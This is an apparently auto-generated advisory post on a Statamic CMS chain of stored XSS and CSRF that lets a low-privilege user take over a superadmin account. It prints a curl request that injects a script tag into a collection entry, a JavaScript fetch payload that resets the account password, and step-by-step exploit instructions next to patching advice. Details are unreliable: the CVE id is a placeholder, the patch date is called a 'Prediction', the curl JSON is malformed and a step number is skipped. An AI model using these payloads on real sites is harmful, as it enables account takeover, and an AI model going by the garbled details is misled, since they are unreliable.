Listen to this Post
The CVE-2025-XXXXX vulnerability chain in Statamic allows a standard authenticated user to achieve superadmin account takeover. It combines a Stored XSS with a CSRF flaw. An attacker with permissions to create or edit Collections or Taxonomies can inject malicious JavaScript payloads. This payload is stored and then executed in the browser of a high-privileged user, such as a superadmin, when they view the malicious content. The exploit leverages the lack of proper server-side validation for the `X-CSRF-TOKEN` header. The malicious script can forge HTTP requests to change the superadmin’s email address and password. Since these sensitive actions did not adequately verify the CSRF token on the server, the attacker’s forged requests are executed, leading to a complete compromise of the superadmin account.
Platform: Statamic CMS
Version: < 5.22.1
Vulnerability : Stored XSS, CSRF
Severity: High
date: 2024-10-30
Prediction: Patch released 2024-10-30
What Undercode Say:
Example payload to inject into a Collection field
curl -X PATCH 'https://target.com/api/collections/pages/entries/1' \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <user_token>" \
-d '{"data":{"":"<script>fetch(`/cp/users/user_id`,{method:`PUT`,headers:{"Content-Type":"application/json"},body:JSON.stringify({email:"[email protected]",password:"pwned"})})</script>"}}'
// Malicious JS payload for stored XSS
fetch('/cp/account/password', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'password=new_password&password_confirmation=new_password'
});
How Exploit:
1. Attacker logs in with low-privilege account.
2. Injects malicious script into a Collection/Taxonomy.
3. Superadmin views the compromised entry.
4. Script executes in superadmin’s context.
- Script sends CSRF request to change superadmin’s email/password.
6. Attacker gains superadmin access.
Protection from this CVE
- Update to Statamic 5.22.1.
- Implement strict CSP headers.
- Validate X-CSRF-Token server-side.
- Sanitize user input in Collections.
Impact:
- Superadmin account takeover.
- Full site compromise.
- Data manipulation.
- Privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
